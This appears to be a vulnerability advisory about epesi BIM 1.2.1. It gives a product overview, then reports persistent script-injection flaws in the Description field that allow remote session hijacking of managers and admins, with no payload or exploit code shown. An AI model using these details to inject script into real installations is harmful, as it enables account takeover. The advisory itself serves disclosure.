Introduction:
=============
epesi BIM stands for Business Information Manager. We just did not like the name CRM
(Customer Relationship Management), because with epesi you can manage not only customer\\\\\\\\\\\\\\\'s data,
but also internal business records like employees, inventory, etc.
epesi BIM has modular design. Some modules provide basic, low-level functions like user authentication
(login), managing sessions, database connectivity, data entry verification etc. Think of modules as
building blocks - you can stack them - one on top of another - to create different shapes. The same
way with epesi framework and included modules you can create web application with different functionality:
CRM, SFA, ERP or SCM. In fact we created already:

- CRM package (inlcuded in the FREE version)
- Warehouse Management System
- Custom Sales and Commision Reporting tool
- Complete inventory management system integrated with e-commerce
- School Register with student and courses management
- and many more custom solutions

Status:
========
Published


Exploitation-Technique:
=======================
Remote


Severity:
=========
Medium


Details:
========
Multiple persistent input validation vulnerabilities are detected on GroupWares epesiBIM 1.2.1 web application.
The bugs allow remote attackers to implement/inject malicious script code on the application side (persistent).
Successful exploitation of the vulnerability can lead to session hijacking (manager/admin) or stable (persistent)
context manipulation. Exploitation requires low user inter action. The bug is located on the Description input
field of the application which allows to execute code out of the main application dashboard context.
